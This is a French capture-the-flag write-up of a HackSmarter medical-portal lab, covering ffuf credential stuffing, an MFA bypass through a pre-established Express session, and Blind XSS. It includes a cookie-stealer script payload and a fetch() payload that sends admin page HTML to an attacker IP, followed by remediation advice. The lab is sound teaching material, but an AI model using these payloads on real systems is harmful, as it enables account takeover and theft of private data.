ZNote Logo
ZNote
Labs PentestmediumHackSmarter
17-07-2026
10 min

Lab HealthSmarter : Credential Stuffing, MFA Bypass et Blind XSS vers le Panel Admin

Pentest d'un portail de santé en ligne : credential stuffing avec ffuf en mode clusterbomb, bypass du MFA via session cookie Express.js déjà établie, exploitation d'une Blind XSS dans un formulaire de helpdesk pour exfiltrer le contenu HTML de la page admin et récupérer le flag administrateur.

Pentest
Brute Force
Credential Stuffing
MFA Bypass
Session Cookie
Blind XSS
Cookie Stealer
HackSmarter
Node.js
Web Security

Contexte et Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au lab
Ciblehealthsmarter.hsm
OSUbuntu Linux (Node.js Express)
Vuln. clésCredential Stuffing, MFA Bypass, Blind XSS
DifficultéMedium

Scénario : Health Smarter prépare le lancement d'un portail patient/employé pour la gestion des rendez-vous et des données médicales. Un mandat de pentest complet a été accordé. Les analystes OSINT ont compilé une liste de credentials potentiels issus d'une recherche sur DeHashed (fuites de données).

Kill chain :

Sortie
ffuf clusterbomb → m.thompson:Care4All! → connexion
        │
        ▼
MFA demandé → session cookie déjà établie → accès direct au dashboard
        │
        ▼
Flag utilisateur → /dashboard.html
        │
        ▼
Helpdesk form → img src test → Blind XSS confirmée
        │
        ▼
xss-cookie-stealer → cookies vides (HttpOnly?)
        │
        ▼
fetch("/admin.html") → exfiltration HTML → flag admin

1. Reconnaissance

Commande
bash
rustscan -b 500 -a healthsmarter.hsm -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
| ssh-hostkey:
|   256 eb:d3:db:ae:05:42:a6:70:29:c3:e3:24:8b:33:07:96 (ECDSA)
|_  256 05:1b:ab:2c:ad:b1:a3:53:dd:61:90:ce:2d:06:2a:9c (ED25519)
80/tcp open  http    syn-ack ttl 62 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Enterprise Portal Login | Health Smarter
|_Requested resource was /login.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analyse :

Deux ports. SSH (22) requiert une authentification par clé publique, confirmée par un test rapide :

Commande
bash
ssh root@healthsmarter.hsm
# root@healthsmarter.hsm: Permission denied (publickey)

Sans clé privée, SSH n'est pas notre vecteur. Tout se joue sur le port 80 : une application Node.js Express avec une page de login comme point d'entrée.

Page de connexion Health Smarter


2. Énumération Web

Content Discovery

Commande
bash
feroxbuster \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u 'http://healthsmarter.hsm' \
  -x html

Output :

Sortie
302  GET  http://healthsmarter.hsm/          => /login.html
302  GET  http://healthsmarter.hsm/dashboard.html => /login.html
403  GET  http://healthsmarter.hsm/admin.html
403  GET  http://healthsmarter.hsm/Admin.html
200  GET  http://healthsmarter.hsm/login.html
200  GET  http://healthsmarter.hsm/css/style.css

Analyse des status codes :

EndpointStatusSignification
/dashboard.html302 → /login.htmlAccessible uniquement après connexion
/admin.html403 ForbiddenExiste, mais accès refusé sans droits suffisants

La différence entre 302 et 403 est importante. Le dashboard redirige vers le login (il faut juste être authentifié). L'admin retourne 403 (il faut un rôle supplémentaire). Ce sont nos deux cibles.

VHOST Fuzzing

Commande
bash
curl -s -o /dev/null -w "%{size_download}" -H "Host: fake123.healthsmarter.hsm" http://healthsmarter.hsm
# 33
Commande
bash
ffuf -u "http://healthsmarter.hsm" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.healthsmarter.hsm" \
  -fs 33

Aucun résultat. Pas de sous-domaine caché. L'application est entièrement sur healthsmarter.hsm.


3. Credential Stuffing - Accès Initial

Les analystes OSINT ont fourni deux fichiers : usernames.txt et passwords.txt, compilés depuis des fuites de données sur DeHashed. L'objectif est de tester toutes les combinaisons pour trouver un credential valide.

Mode ClusterBomb avec FFUF

On utilise ffuf en mode clusterbomb : chaque username est testé avec chaque password. C'est le produit cartésien des deux listes, un brute-force ciblé plutôt qu'aveugle.

Commande
bash
ffuf \
  -w usernames.txt:USER \
  -w passwords.txt:PASS \
  -X POST \
  -u http://healthsmarter.hsm/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"USER","password":"PASS"}' \
  -mode clusterbomb \
  -mr '"success":\s*true' \
  -p 0.05 \
  -t 64

Explication des options clés :

OptionRôle
-w usernames.txt:USER -w passwords.txt:PASSDéfinit deux wordlists avec leurs marqueurs de substitution. FFUF remplace USER et PASS dans la requête
-mode clusterbombTeste toutes les combinaisons possibles (produit cartésien) plutôt qu'un alignement ligne à ligne
-mr '"success":\s*true'Match Regex : n'affiche que les réponses où la regex correspond, c'est-à-dire les logins réussis uniquement
-p 0.05 -t 6464 threads avec un délai de 50ms entre chaque requête : équilibre entre vitesse et stabilité de l'API

Credential valide trouvé

Sortie
m.thompson@healthsmarter.hsm : Care4All!

Après connexion avec les credentials valides, l'application demande un code MFA à 6 chiffres :

Page MFA

On capture la requête avec Burp Suite et on teste le rate limiting :

Test rate limiting MFA

résultat rate limiting MFA

Observations :

  • Pas de rate limiting détecté : le brute-force des 6 chiffres (1 000 000 combinaisons) est théoriquement possible
  • Le code expire très rapidement après génération, ce qui rend un brute-force séquentiel impraticable dans la fenêtre de validité

On change d'approche. En inspectant les DevTools (F12 > Onglet Application > Cookies) :

Cookie de session déjà établie

Un cookie connect.sid est déjà présent.

connect.sid est l'identifiant de session par défaut du middleware express-session dans Node.js. Sa présence signifie que le serveur a déjà créé une session pour notre utilisateur lors de la validation du login, avant même la validation du MFA.

L'hypothèse : si la session est déjà établie côté serveur, le MFA est peut-être une vérification purement côté client (ou une vérification optionnelle côté serveur). Si le serveur ne valide pas que le MFA a été complété avant d'autoriser l'accès au dashboard, on peut y accéder directement en naviguant vers l'URL.


5. Flag Utilisateur

On navigue directement vers le dashboard sans passer par la page MFA :

Sortie
http://healthsmarter.hsm/dashboard.html

Dashboard accessible

L'hypothèse est confirmée. Le serveur accorde l'accès au dashboard dès que la session est établie (après le login), sans vérifier que le MFA a été complété. Le flag utilisateur est visible directement sur cette page.

Flag 1 récupéré.


6. Exploration du Dashboard

Message sur le dashboard

Un message attire l'attention :

"If you need to update your address, phone number, or request medical records, please submit a request to the admin staff using the helpdesk ticketing portal on the side."

Un formulaire de helpdesk est présent en sidebar. Les messages soumis ici sont lus par un administrateur. Si ce formulaire n'échappe pas le HTML, un payload injecté sera exécuté dans le navigateur de l'admin quand il consultera le ticket.

C'est le scénario classique d'une Blind XSS : la vulnérabilité existe, mais l'exécution se produit dans un contexte qu'on ne contrôle pas directement (le navigateur de l'admin), et on ne voit pas le résultat immédiatement.

Formulaire helpdesk


7. Confirmation Blind XSS

Avant d'injecter un payload élaboré, on vérifie que le champ est bien vulnérable avec un test simple : si l'admin charge une image depuis notre serveur lors de la consultation du ticket, la XSS fonctionne.

On démarre un serveur d'écoute :

Commande
bash
python3 -m http.server 80

On soumet un payload <img> dans le formulaire :

Commande
html
<img src="http://10.200.72.75/test.jpg" />

Payload img soumis

Quelques secondes plus tard, notre serveur reçoit une requête :

Sortie
10.200.72.75 - - [17/Jul/2026 17:22:45] "GET /test.jpg HTTP/1.1" 404 -
10.200.72.75 - - [17/Jul/2026 17:22:52] "GET /test.jpg HTTP/1.1" 404 -

Réponse reçue sur le serveur

Le navigateur de l'admin a chargé notre image. Blind XSS confirmée.


8. Exfiltration des Cookies Admin

On utilise l'outil xss-cookie-stealer qui déploie automatiquement un script JS et un collecteur PHP :

Commande
bash
xss-cookie-stealer 10.200.72.75
Sortie
Payload: <script src="http://10.200.72.75/script.js"></script>
[Fri Jul 17 17:44:46 2026] 10.1.64.162:47320 [200]: GET /script.js
[Fri Jul 17 17:44:46 2026] 10.1.64.162:47328 [200]: GET /index.php?c=

Le script s'est exécuté mais la valeur du cookie retournée est vide (?c=).

Explication : le cookie connect.sid est probablement protégé par le flag HttpOnly. Ce flag interdit à JavaScript d'accéder au cookie via document.cookie. C'est une bonne pratique de sécurité qui rend le vol de session via XSS impossible. Il faut changer d'approche.

Deuxième Tentative : Exfiltration HTML via fetch()

Si on ne peut pas voler le cookie, on peut utiliser la session de l'admin directement depuis son navigateur. L'admin est authentifié et peut accéder à /admin.html. On lui fait fetch() la page admin dans son propre contexte et on exfiltre le HTML vers notre serveur.

On soumet le payload suivant dans le formulaire helpdesk :

Commande
javascript
<script>
fetch("/admin.html")
  .then(r => r.text())
  .then(t => {
    new Image().src = "http://10.200.72.75/?p=" + encodeURIComponent(t);
  });
</script>

Comment ce payload fonctionne :

ÉtapeAction
fetch("/admin.html")Le navigateur de l'admin effectue une requête GET vers /admin.html. Cette requête est authentifiée car le cookie de session de l'admin est automatiquement inclus par le navigateur
.then(r => r.text())La réponse HTML est lue en texte brut
encodeURIComponent(t)Le HTML est encodé pour être transmis dans un paramètre d'URL sans casser la syntaxe
new Image().src = "..."Le HTML encodé est envoyé vers notre serveur via une requête GET sur le paramètre ?p=

On remet en place notre serveur web et on attend :

Commande
bash
python3 -m http.server 80

Le HTML de /admin.html arrive encodé dans le paramètre ?p=. On le décode :

HTML admin reçu sur le serveur

En scrollant dans le HTML décodé, le flag administrateur apparaît.

Flag admin dans le HTML décodé

Flag 2 récupéré.


9. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan          → SSH (clé requis) + Node.js Express port 80
2. Feroxbuster       → /admin.html (403) + /dashboard.html (302)
3. Credential stuffing → m.thompson:Care4All! via ffuf clusterbomb
4. MFA bypass        → connect.sid déjà établi → accès dashboard direct
5. Flag 1            → /dashboard.html
6. Helpdesk form     → img src → Blind XSS confirmée
7. Cookie stealer    → cookie vide (HttpOnly)
8. fetch("/admin.html") → HTML exfiltré → Flag 2

Remédiation

VecteurProblèmeRemédiation
Credential stuffing possibleL'API /api/login accepte des tentatives illimitéesImplémenter un rate limiting strict sur l'endpoint de login (ex: 5 tentatives par IP par minute), un CAPTCHA et un lockout temporaire après échecs répétés
MFA optionnel côté serveurLa session est établie avant validation du MFALe serveur doit créer une session partielle après le login, marquée comme mfa_pending: true. L'accès aux ressources protégées doit être refusé tant que ce flag est actif, indépendamment de la présence du cookie
Absence de rate limiting MFALes 1 000 000 codes sont brute-forçables en théorieLimiter les tentatives MFA à 3-5 essais avant invalidation et nouvelle génération du code
Blind XSS dans le helpdeskLe contenu des tickets est rendu sans échappement HTMLEchapper systématiquement les entrées utilisateur avant rendu (htmlspecialchars ou équivalent). Utiliser une Content Security Policy (CSP) restrictive pour bloquer les scripts inline et les requêtes vers des domaines externes
fetch() cross-resourceUn script XSS peut fetcher /admin.html dans le contexte de l'adminCSP avec default-src 'self' et connect-src 'self' pour empêcher les requêtes vers des domaines externes. Même si XSS survient, l'exfiltration vers un serveur externe est bloquée

[!NOTE] Ce lab illustre un chaînage qui tire parti d'une implémentation MFA mal pensée. L'intention de sécurité était là : forcer un second facteur après le login. L'erreur d'implémentation est subtile : la session est créée au moment du login, pas au moment de la validation MFA. C'est suffisant pour qu'un attaquant ayant les credentials contourne entièrement le second facteur en naviguant directement vers les ressources protégées.


Writeup rédigé par Zcook